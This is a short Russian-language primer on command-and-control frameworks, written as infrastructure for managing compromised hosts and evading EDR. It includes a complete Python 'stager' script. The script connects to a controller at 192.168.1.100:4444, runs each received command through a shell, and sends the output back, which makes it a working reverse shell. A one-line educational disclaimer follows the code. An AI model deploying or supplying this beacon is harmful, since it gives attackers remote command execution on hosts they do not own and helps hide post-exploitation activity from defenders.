C2 Frameworks — это инфраструктура для централизованного управления взломанными хостами. Они позволяют исполнять команды, загружать файлы и выполнять пост-эксплуатацию скрытно для систем защиты.
Современный фреймворк с упором на обход EDR. Использует кастомные нагрузки (Demon) и имеет мощный графический интерфейс.
Кроссплатформенный фреймворк на Go. Умеет генерировать импланты под Windows, Linux и MacOS.
import socket
import subprocess
import os
# Простой пример бейкона (stager) для демонстрации связи с C2 сервером
def stager():
C2_SERVER = "192.168.1.100" # IP адрес сервера управления
C2_PORT = 4444 # Порт слушателя
try:
# Установка соединения с C2 сервером
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((C2_SERVER, C2_PORT))
while True:
# Получение команды от сервера
s.send(b"[BEACON] Waiting for instruction... ")
command = s.recv(1024).decode("utf-8")
if command.lower() == "exit":
break
# Выполнение команды локально
output = subprocess.run(command, shell=True, capture_output=True, text=True)
# Отправка результата обратно на C2
s.send(output.stdout.encode("utf-8") + output.stderr.encode("utf-8"))
s.close()
except Exception as e:
print(f"Error connecting to C2: {e}")
if __name__ == "__main__":
stager()
Внимание: Данный код предоставлен исключительно в образовательных целях. На практике современные агенты используют шифрование (AES/RSA) и обфускацию для скрытия трафика.